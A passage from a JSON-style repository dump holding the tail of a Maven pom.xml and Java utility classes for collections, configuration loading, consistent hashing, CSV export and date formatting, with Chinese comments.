-->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.21</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- 单元测试用，只在测试生效 -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- Logback日志实现，仅用于测试 -->\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>1.2.0</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- C3P0连接池，使用时，需自行添加依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>c3p0</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.1.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<!-- Druid连接池，使用时，需自行添加依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>0.2.23</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<!-- SSH安全连接所使用的类库，使用时，需自行添加依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>com.jcraft</groupId>\n\t\t\t<artifactId>jsch</artifactId>\n\t\t\t<version>0.1.49</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<!-- Servket API, Tomcat已经提供 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.tomcat</groupId>\n\t\t\t<artifactId>tomcat-servlet-api</artifactId>\n\t\t\t<version>7.0.30</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.mail</groupId>\n\t\t\t<artifactId>mail</artifactId>\n\t\t\t<version>1.4.5</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jodd</groupId>\n\t\t\t<artifactId>jodd-http</artifactId>\n\t\t\t<version>3.4.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.11</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->\n\t\t<dependency>\n\t\t\t<groupId>commons-beanutils</groupId>\n\t\t\t<artifactId>commons-beanutils</artifactId>\n\t\t\t<version>1.9.4</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-lang/commons-lang -->\n\t\t<dependency>\n\t\t\t<groupId>commons-lang</groupId>\n\t\t\t<artifactId>commons-lang</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.mvel/mvel2 -->\n\t\t<dependency>\n\t\t\t<groupId>org.mvel</groupId>\n\t\t\t<artifactId>mvel2</artifactId>\n\t\t\t<version>2.4.10.Final</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.tapestry/tapestry5-annotations -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.tapestry</groupId>\n\t\t\t<artifactId>tapestry5-annotations</artifactId>\n\t\t\t<version>5.6.1</version>\n\t\t</dependency>\n\t\t<!-- Jedis → see jun_redis module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t\t<version>3.3.0</version>\n\t\t</dependency>\n\t\t-->\n\t\t<!-- https://mvnrepository.com/artifact/org.json/json -->\n\t\t<dependency>\n\t\t\t<groupId>org.json</groupId>\n\t\t\t<artifactId>json</artifactId>\n\t\t\t<version>20200518</version>\n\t\t</dependency>\n\t\t<!-- HttpClient → see jun_httpclient module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpclient</artifactId>\n\t\t\t<version>4.5.13</version>\n\t\t</dependency>\n\t\t-->\n\t\t<!-- JExcelApi → redundant with POI; see jun_poi module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>net.sourceforge.jexcelapi</groupId>\n\t\t\t<artifactId>jxl</artifactId>\n\t\t\t<version>2.6.12</version>\n\t\t</dependency>\n\t\t-->\n\t\t<!-- POI → see jun_poi module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi</artifactId>\n\t\t\t<version>4.1.2</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<!-- https://mvnrepository.com/artifact/commons-fileupload/commons-fileupload -->\n\t\t<dependency>\n\t\t\t<groupId>commons-fileupload</groupId>\n\t\t\t<artifactId>commons-fileupload</artifactId>\n\t\t\t<version>1.4</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<!-- <parent> <groupId>org.sonatype.oss</groupId> <artifactId>oss-parent</artifactId> \n\t\t<version>7</version> </parent> -->\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/CollectionUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.lang.reflect.Array;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Set;\nimport java.util.Stack;\n\n/**\n * 集合相关工具类，包括数组\n * @author Wujun\n *\n */\npublic class CollectionUtil {\n\t/**\n\t * 以 conjunction 为分隔符将集合转换为字符串\n\t * @param <T> 被处理的集合\n\t * @param collection 集合\n\t * @param conjunction 分隔符\n\t * @return 连接后的字符串\n\t */\n\tpublic static <T> String join(Iterable<T> collection, String conjunction) {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tboolean isFirst = true;\n\t\tfor (T item : collection) {\n\t\t\tif (isFirst){\n\t\t\t\tisFirst = false;\n\t\t\t}else{\n\t\t\t\tsb.append(conjunction);\n\t\t\t}\n\t\t\tsb.append(item);\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n\t/**\n\t * 以 conjunction 为分隔符将数组转换为字符串\n\t * @param <T> 被处理的集合\n\t * @param array 数组\n\t * @param conjunction 分隔符\n\t * @return 连接后的字符串\n\t */\n\tpublic static <T> String join(T[] array, String conjunction) {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tboolean isFirst = true;\n\t\tfor (T item : array) {\n\t\t\tif (isFirst){\n\t\t\t\tisFirst = false;\n\t\t\t}else{\n\t\t\t\tsb.append(conjunction);\n\t\t\t}\n\t\t\tsb.append(item);\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n\t/**\n\t * 将Set排序（根据Entry的值）\n\t * @param set 被排序的Set\n\t * @return 排序后的Set\n\t */\n\tpublic static List<Entry<Long, Long>> sortEntrySetToList(Set<Entry<Long, Long>> set){\n\t\tList<Entry<Long, Long>> list = new LinkedList<Map.Entry<Long,Long>>(set);\n\t\tCollections.sort(list, new Comparator<Entry<Long, Long>>() {\n\n\t\t\t@Override\n\t\t\tpublic int compare(Entry<Long, Long> o1, Entry<Long, Long> o2) {\n\t\t\t\tif(o1.getValue() > o2.getValue()) return 1;\n\t\t\t\tif(o1.getValue() < o2.getValue()) return -1;\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t});\n\t\treturn list;\n\t}\n\t\n\t/**\n\t * 切取部分数据\n\t * @param <T> 集合元素类型\n\t * @param surplusAlaDatas 原数据\n\t * @param partSize 每部分数据的长度\n\t * @return 切取出的数据或null\n\t */\n\tpublic static <T> List<T> popPart(Stack<T> surplusAlaDatas, int partSize){\n\t\tif(surplusAlaDatas == null || surplusAlaDatas.size() <= 0) return null;\n\t\t\n\t\tList<T> currentAlaDatas = new ArrayList<T>();\n\t\tint size = surplusAlaDatas.size();\n\t\t//切割\n\t\tif(size > partSize){\n\t\t\tfor(int i = 0; i < partSize; i++){\n\t\t\t\tcurrentAlaDatas.add(surplusAlaDatas.pop());\n\t\t\t}\n\t\t}else{\n\t\t\tfor(int i = 0; i < size; i++){\n\t\t\t\tcurrentAlaDatas.add(surplusAlaDatas.pop());\n\t\t\t}\n\t\t}\n\t\treturn currentAlaDatas;\n\t}\n\t\n\t/**\n\t * 新建一个HashMap\n\t * @return HashMap对象\n\t */\n\tpublic static <T, K> HashMap<T, K> newHashMap(){\n\t\treturn new HashMap<T, K>();\n\t}\n\t\n\t/**\n\t * 新建一个HashSet\n\t * @return HashSet对象\n\t */\n\tpublic static <T> HashSet<T> newHashSet(){\n\t\treturn new HashSet<T>();\n\t}\n\t\n\t/**\n\t * 新建一个ArrayList\n\t * @return ArrayList对象\n\t */\n\tpublic static <T> ArrayList<T> newArrayList(){\n\t\treturn new ArrayList<T>();\n\t}\n\t\n\t/**\n\t * 将新元素添加到已有数组中<br/>\n\t * 添加新元素会生成一个新的数组，不影响原数组\n\t * @param buffer 已有数组\n\t * @param newElement 新元素\n\t * @return 新数组\n\t */\n\tpublic static <T> T[] append(T[] buffer, T newElement) {\n\t\tT[] t = resize(buffer, buffer.length + 1, newElement.getClass());\n\t\tt[buffer.length] = newElement;\n\t\treturn t;\n\t}\n\t\n\t/**\n\t * 生成一个新的重新设置大小的数组\n\t * @param buffer 原数组\n\t * @param newSize 新的数组大小\n\t * @param componentType 数组元素类型\n\t * @return 调整后的新数组\n\t */\n\t@SuppressWarnings({\"unchecked\"})\n\tpublic static <T> T[] resize(T[] buffer, int newSize, Class<?> componentType) {\n\t\t//给定类型为空时，使用原数组的类型\n\t\tif (componentType == null) {\n\t\t\tcomponentType =  buffer.getClass().getComponentType();\n\t\t}\n\t\tT[] newArray = (T[]) Array.newInstance(componentType, newSize);\n\t\tSystem.arraycopy(buffer, 0, newArray, 0, buffer.length >= newSize ? newSize : buffer.length);\n\t\treturn newArray;\n\t}\n\t\n\t/**\n\t * 生成一个新的重新设置大小的数组<br/>\n\t * 新数组的类型为原数组的类型\n\t * @param buffer 原数组\n\t * @param newSize 新的数组大小\n\t * @return 调整后的新数组\n\t */\n\tpublic static <T> T[] resize(T[] buffer, int newSize) {\n\t\treturn resize(buffer, newSize, null);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Conf.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.Set;\n\nimport com.jun.plugin.commons.util.apiext.IOUtil;\n\npublic abstract class Conf {\n\tpublic static final Properties utilProperties = IOUtil\n\t\t\t.fileToProperties(\"/commonsUtil.properties\");// 属性配置\n\n\t/**\n\t * 取到Redis配置服务器配置示例： <br/>\n\t * defaultRedisName=redis1<br/>\n\t * rjzjh.redisserver.redis1.host=localhost<br/>\n\t * rjzjh.redisserver.redis1.port=6379 rjzjh.redisserver.redis1.maxTotal=20<br/>\n\t * rjzjh.redisserver.redis1.maxidle=5<br/>\n\t * rjzjh.redisserver.redis1.maxWaitMillis=10001<br/>\n\t * rjzjh.redisserver.redis1.testonborrow=false<br/>\n\t * */\n\tpublic static Map<String, String> getRedisServerPropByKey(\n\t\t\tfinal Properties prop, final String key) {\n\t\tSet<Object> propKeys = prop.keySet();\n\t\tMap<String, String> retMap = new HashMap<String, String>();\n\t\tfor (Object object : propKeys) {\n\t\t\tString tempKey = String.valueOf(object);\n\t\t\tString tempStr = String.format(\"rjzjh.redisserver.%s.\", key);\n\t\t\tif (tempKey.startsWith(tempStr)) {\n\t\t\t\tretMap.put(tempKey.replace(tempStr, \"\"),\n\t\t\t\t\t\tprop.getProperty(tempKey));\n\t\t\t}\n\t\t}\n\t\treturn retMap;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Config.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.Map.Entry;\nimport java.util.Properties;\nimport java.util.Set;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 读取配置文件的类\n * @author Wujun\n */\npublic final class Config {\n\tprivate static Logger logger = LoggerFactory.getLogger(Config.class);\n\t\n\t/*--------------------------私有属性 start-------------------------------*/\n\tprivate Properties props;\n\t/*--------------------------私有属性 end-------------------------------*/\n\t\n\t/**\n\t * 构造，使用相对于Class文件根目录的相对路径\n\t * @param pathBaseClassLoader 相对路径（相对于当前项目的classes路径）\n\t */\n\tpublic Config(String pathBaseClassLoader){\n\t\tURL url = Config.class.getClassLoader().getResource(pathBaseClassLoader);\n\t\tlogger.debug(\"加载配置文件 => \" + url.getPath());\n\t\tthis.init(url);\n\t}\n\t\n\t/**\n\t * 构造\n\t * @param configFile 配置文件对象\n\t */\n\tpublic Config(File configFile){\n\t\tif(configFile == null){\n\t\t\tlogger.error(\"请指定配置文件！\");\n\t\t\treturn;\n\t\t}\n\t\tURL url = null;\n\t\ttry {\n\t\t\turl = configFile.toURI().toURL();\n\t\t\tlogger.debug(\"加载配置文件 => \" + url.getPath());\n\t\t} catch (MalformedURLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tthis.init(url);\n\t}\n\t\n\t/**\n\t * 构造，相对于classes读取文件\n\t * @param path 相对路径\n\t * @param clazz 基准类\n\t */\n\tpublic Config(String path, Class<?> clazz){\n\t\tURL url = clazz.getResource(path);\n\t\tthis.init(url);\n\t}\n\t\n\t/*--------------------------公有方法 start-------------------------------*/\n\t/**\n\t * 初始化配置文件\n\t * @param configUrl 配置文件URL\n\t */\n\tpublic  void init(URL configUrl){\n\t\tif(configUrl == null){\n\t\t\tlogger.error(\"指定配置文件路径为空，请检查！\");\n\t\t\treturn;\n\t\t}\n\t\tInputStream in = null;\n\t\tprops = new Properties();\n\t\ttry {\n\t\t\tin = configUrl.openStream();\n\t\t\tprops.load(in);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tFileUtil.close(in);\n\t\t}\n\t}\n\t\n\t/**\n\t * 获取字符型型属性值\n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic String getString(String key){\n\t\treturn props.getProperty(key);\n\t}\n\t\n\t/**\n\t * 获取数字型型属性值\n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic int getInt(String key){\n\t\treturn Integer.parseInt(props.getProperty(key));\n\t}\n\t\n\t/**\n\t * 获取波尔型属性值\n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic boolean getBool(String key){\n\t\treturn Boolean.parseBoolean(props.getProperty(key));\n\t}\n\t\n\t/**\n\t * 获取long类型属性值\n\t * @param key 属性名\n\t * @return 属性值\n\t */\n\tpublic long getLong(String key){\n\t\treturn Long.parseLong(props.getProperty(key));\n\t}\n\t\n\t/**\n\t * 设置值，无给定键创建之。设置后未持久化\n\t * @param key 属性键\n\t * @param value 属性值\n\t */\n\tpublic void setProperty(String key, Object value){\n\t\tprops.setProperty(key, value.toString());\n\t}\n\t\n\t/**\n\t * 持久化当前设置，会覆盖掉之前的设置\n\t * @param absolutePath 设置文件的绝对路径\n\t */\n\tpublic void store(String absolutePath){\n\t\ttry {\n\t\t\tFileUtil.touch(absolutePath);\n\t\t\tprops.store(FileUtil.getOutputStream(absolutePath), null);\n\t\t} catch (FileNotFoundException e) {\n\t\t\t//不会出现这个异常\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t/**\n\t * 存储当前设置，会覆盖掉以前的设置\n\t * @param path 相对路径\n\t * @param clazz 相对的类\n\t */\n\tpublic void store(String path, Class<?> clazz){\n\t\tthis.store(FileUtil.getAbsolutePath(path, clazz));\n\t}\n\t\n\tpublic Set<Entry<Object, Object>> entrySet(){\n\t\treturn props.entrySet();\n\t}\n\t/*--------------------------公有方法 end-------------------------------*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/ConsistentHash.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.Collection;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\n/**\n * 一致性Hash算法\n * 算法详解：http://blog.csdn.net/sparkliang/article/details/5279393\n * 算法实现：https://weblogs.java.net/blog/2007/11/27/consistent-hashing\n * @author Wujun\n *\n * @param <T>\t节点类型\n */\npublic class ConsistentHash<T> {\n\t/** Hash计算对象，用于自定义hash算法 */\n\tHashFunc hashFunc;\n\t/** 复制的节点个数 */\n\tprivate final int numberOfReplicas;\n\t/** 一致性Hash环 */\n\tprivate final SortedMap<Integer, T> circle = new TreeMap<Integer, T>();\n\t\n\t/**\n\t * 构造，使用Java默认的Hash算法\n\t * @param numberOfReplicas 复制的节点个数，增加每个节点的复制节点有利于负载均衡\n\t * @param nodes 节点对象\n\t */\n\tpublic ConsistentHash(int numberOfReplicas, Collection<T> nodes) {\n\t\tthis.numberOfReplicas = numberOfReplicas;\n\t\tthis.hashFunc = new HashFunc() {\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic Integer hash(Object key) {\n\t\t\t\t//默认使用FNV1hash算法\n\t\t\t\treturn HashUtil.FNVHash1(key.toString());\n\t\t\t}\n\t\t};\n\t\t//初始化节点\n\t\tfor (T node : nodes) {\n\t\t\tadd(node);\n\t\t}\n\t}\n\n\t/**\n\t * 构造\n\t * @param hashFunc hash算法对象\n\t * @param numberOfReplicas 复制的节点个数，增加每个节点的复制节点有利于负载均衡\n\t * @param nodes 节点对象\n\t */\n\tpublic ConsistentHash(HashFunc hashFunc, int numberOfReplicas, Collection<T> nodes) {\n\t\tthis.numberOfReplicas = numberOfReplicas;\n\t\tthis.hashFunc = hashFunc;\n\t\t//初始化节点\n\t\tfor (T node : nodes) {\n\t\t\tadd(node);\n\t\t}\n\t}\n\n\t/**\n\t * 增加节点<br>\n\t * 每增加一个节点，就会在闭环上增加给定复制节点数<br>\n\t * 例如复制节点数是2，则每调用此方法一次，增加两个虚拟节点，这两个节点指向同一Node\n\t * 由于hash算法会调用node的toString方法，故按照toString去重\n\t * @param node 节点对象\n\t */\n\tpublic void add(T node) {\n\t\tfor (int i = 0; i < numberOfReplicas; i++) {\n\t\t\tcircle.put(hashFunc.hash(node.toString() + i), node);\n\t\t}\n\t}\n\n\t/**\n\t * 移除节点的同时移除相应的虚拟节点\n\t * @param node 节点对象\n\t */\n\tpublic void remove(T node) {\n\t\tfor (int i = 0; i < numberOfReplicas; i++) {\n\t\t\tcircle.remove(hashFunc.hash(node.toString() + i));\n\t\t}\n\t}\n\n\t/**\n\t * 获得一个最近的顺时针节点\n\t * @param key 为给定键取Hash，取得顺时针方向上最近的一个虚拟节点对应的实际节点\n\t * @return 节点对象\n\t */\n\tpublic T get(Object key) {\n\t\tif (circle.isEmpty()) {\n\t\t\treturn null;\n\t\t}\n\t\tint hash = hashFunc.hash(key);\n\t\tif (!circle.containsKey(hash)) {\n\t\t\tSortedMap<Integer, T> tailMap = circle.tailMap(hash);\t//返回此映射的部分视图，其键大于等于 hash\n\t\t\thash = tailMap.isEmpty() ? circle.firstKey() : tailMap.firstKey();\n\t\t}\n\t\t//正好命中\n\t\treturn circle.get(hash);\n\t}\n\n\t/**\n\t * Hash算法对象，用于自定义hash算法\n\t * @author Wujun\n\t *\n\t */\n\tpublic interface HashFunc {\n\t\tpublic Integer hash(Object key);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/CsvUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.Collection;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * CSV文件相关工具（逗号分隔符文件）\n * @author Wujun\n *\n */\npublic class CsvUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(CsvUtil.class);\n\t\n\t/**\n\t * 将结果集存储为CSV文件\n\t * @param rs 结果集\n\t * @param pathWithName 要存储到文件的路径\n\t */\n\tpublic static void toCSV(ResultSet rs, String pathWithName, String charset) {\n\t\ttry {\n\t\t\tPrintWriter writer = FileUtil.getPrintWriter(pathWithName, charset, false);\n\t\t\twhile (rs.next()) {\n\t\t\t\tint count = rs.getMetaData().getColumnCount();\n\t\t\t\t// 处理一行\n\t\t\t\tStringBuffer sb = new StringBuffer();\n\t\t\t\tfor (int i = 1; i <= count; i++) {\n\t\t\t\t\tsb.append(rs.getObject(i));\n\t\t\t\t\tif (i == count)\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tsb.append(\",\");\n\t\t\t\t}\n\t\t\t\tString line = sb.toString();\n\t\t\t\tlogger.debug(\"写入：\" + line);\n\t\t\t\twriter.println(line);\n\t\t\t}\n\t\t\twriter.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t/**\n\t * 将集合中的内容写入CSV文件\n\t * @param collection 要写入文件的集合集合\n\t * @param pathWithName CSV文件路径，带文件名\n\t * @param charset 字符集\n\t */\n\tpublic static void toCSV(Collection<String> collection, String pathWithName, String charset){\n\t\ttry {\n\t\t\tPrintWriter writer = FileUtil.getPrintWriter(pathWithName, charset, false);\n\t\t\tfor (String line : collection) {\n\t\t\t\tlogger.debug(\"写入：\" + line);\n\t\t\t\twriter.println(line);\n\t\t\t}\n\t\t\twriter.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/DateUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.Locale;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 时间工具类\n * @author Wujun\n */\npublic class DateUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(DateUtil.class);\n\t\n\t/** 毫秒 */\n\tpublic final static long MS = 1;\n\t/** 每秒钟的毫秒数 */\n\tpublic final static long SECOND_MS = MS * 1000;\n\t/** 每分钟的毫秒数 */\n\tpublic final static long MINUTE_MS = SECOND_MS * 60;\n\t/** 每小时的毫秒数 */\n\tpublic final static long HOUR_MS = MINUTE_MS * 60;\n\t/** 每天的毫秒数 */\n\tpublic final static long DAY_MS = HOUR_MS * 24;\n\t\n\t/** 标准日期（不含时间）格式化器 */\n\tprivate final static SimpleDateFormat NORM_DATE_FORMAT = new SimpleDateFormat(\"yyyy-MM-dd\");\n\t/** 标准日期时间格式化器 */\n\tprivate final static SimpleDateFormat NORM_DATETIME_FORMAT = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\t/** HTTP日期时间格式化器 */\n\tprivate final static SimpleDateFormat HTTP_DATETIME_FORMAT = new SimpleDateFormat(\"EEE, dd MMM yyyy HH:mm:ss z\", Locale.US);\n\t\n\t/**\n\t * 当前时间，格式 yyyy-MM-dd HH:mm:ss\n\t * @return 当前时间的标准形式字符串\n\t */\n\tpublic static String now() {\n\t\treturn formatDateTime(new Date());\n\t}\n\t\n\t/**\n\t * 当前日期，格式 yyyy-MM-dd\n\t * @return 当前日期的标准形式字符串\n\t */\n\tpublic static String today() {\n\t\treturn formatDate(new Date());\n\t}\n\t\n\t// ------------------------------------ Format start ----------------------------------------------\n\t/**\n\t * 根据特定格式格式化日期\n\t * @param date 被格式化的日期\n\t * @param format 格式\n\t * @return 格式化后的字符串\n\t */\n\tpublic static String format(Date date, String format){\n\t\treturn new SimpleDateFormat(format).format(date);\n\t}\n\t\n\t/**\n\t * 格式 yyyy-MM-dd HH:mm:ss\n\t * @param date 被格式化的日期\n\t * @return 格式化后的日期\n\t */\n\tpublic static String formatDateTime(Date date) {\n//\t\treturn format(d, \"yyyy-MM-dd HH:mm:ss\");\n\t\treturn NORM_DATETIME_FORMAT.format(date);\n\t}\n\t\n\t/**\n\t * 格式化为Http的标准日期格式\n\t * @param date 被格式化的日期\n\t * @return HTTP标准形式日期字符串\n\t */\n\tpublic static String formatHttpDate(Date date) {\n//\t\treturn new SimpleDateFormat(\"EEE, dd MMM yyyy HH:mm:ss z\", Locale.US).format(date);\n\t\treturn HTTP_DATETIME_FORMAT.format(date);\n\t}\n\t\n\t/**\n\t * 格式 yyyy-MM-dd\n\t * @param date 被格式化的日期\n\t * @return 格式化后的字符串\n\t */\n\tpublic static String formatDate(Date date) {\n//\t\treturn format(d, \"yyyy-MM-dd\");\n\t\treturn NORM_DATE_FORMAT.format(date);\n\t}\n\t// ------------------------------------ Format end ----------------------------------------------\n\t\n\t// ------------------------------------ Parse start ----------------------------------------------\n\t/**\n\t * 将特定格式的日期转换为Date对象\n\t * @param dateString 特定格式的日期\n\t * @param format 格式，例如yyyy-MM-dd\n\t * @return 日期对象\n\t */\n\tpublic static Date parse(String dateString, String format){\n\t\ttry {\n\t\t\treturn (new SimpleDateFormat(format)).parse(dateString);\n\t\t} catch (ParseException e) {\n\t\t\tlogger.error(\"Parse \" + dateString + \" with format \" + format + \" error!\", e);\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 格式yyyy-MM-dd HH:mm:ss\n\t * @param dateString 标准形式的时间字符串\n\t * @return 日期对象\n\t */\n\tpublic static Date parseDateTime(String dateString){\n//\t\treturn parse(s, \"yyyy-MM-dd HH:mm:ss\");\n\t\ttry {\n\t\t\treturn NORM_DATETIME_FORMAT.parse(dateString);\n\t\t} catch (ParseException e) {\n\t\t\tlogger.error(\"Parse \" + dateString + \" with format \" + NORM_DATETIME_FORMAT.toPattern() + \" error!\", e);\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 格式yyyy-MM-dd\n\t * @param dateString 标准形式的日期字符串\n\t * @return 日期对象\n\t */\n\tpublic static Date parseDate(String dateString){\n//\t\treturn parse(s, \"yyyy-MM-dd\");\n\t\ttry {\n\t\t\treturn NORM_DATE_FORMAT.parse(dateString);\n\t\t} catch (ParseException e) {\n\t\t\tlogger.error(\"Parse \" + dateString + \" with format \" + NORM_DATE_FORMAT.toPattern() + \" error!\", e);\n\t\t}\n\t\treturn null;\n\t}\n\t// ------------------------------------ Parse end ----------------------------------------------\n\t\n\t/**\n\t * 获取指定日期偏移指定时间后的时间\n\t * @param date 基准日期\n\t * @param calendarField 偏移的粒度大小（小时、天、月等）使用Calendar中的常数\n\t * @param offsite 偏移量，正数为向后偏移，负数为向前偏移\n\t * @return 偏移后的日期\n\t */\n\tpublic static Date getOffsiteDate(Date date, int calendarField, int offsite){\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(date);\n\t\tcal.add(calendarField, offsite);\n\t\treturn cal.getTime();\n\t}\n\t\n\t/**\n\t * 判断两个日期相差的时长<br/>\n\t * 返回 minuend - subtrahend 的差\n\t * @param subtrahend 减数日期\n\t * @param minuend 被减数日期\n\t * @param diffField 相差的选项：相差的天、小时\n\t * @return 日期差\n\t */\n\tpublic static long dateDiff(Date subtrahend, Date minuend, long diffField){ \n\t  long diff = minuend.getTime() - subtrahend.getTime();\n\t  return diff/diffField; \n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Exceptions/ConnException.java",
    "content": "package com.jun.plugin.commons.util.Exceptions;\n\n/**\n * 数据库连接异常\n * @author Wujun\n */\npublic class ConnException extends Exception{\n\tprivate static final long serialVersionUID = -5515153957859362853L;\n\n\tpublic ConnException(Throwable e) {\n\t\tsuper(e);\n\t}\n\t\n\tpublic ConnException(String message) {\n\t\tsuper(message);\n\t}\n\t\n\tpublic ConnException(String message, Throwable throwable) {\n\t\tsuper(message, throwable);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/Exceptions/SettingException.java",
    "content": "package com.jun.plugin.commons.util.Exceptions;\n\n/**\n * 设置异常\n * @author Wujun\n */\npublic class SettingException extends Exception{\n\tprivate static final long serialVersionUID = -4134588858314744501L;\n\n\tpublic SettingException(Throwable e) {\n\t\tsuper(e);\n\t}\n\t\n\tpublic SettingException(String message) {\n\t\tsuper(message);\n\t}\n\t\n\tpublic SettingException(String message, Throwable throwable) {\n\t\tsuper(message, throwable);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/FileUtil.java",
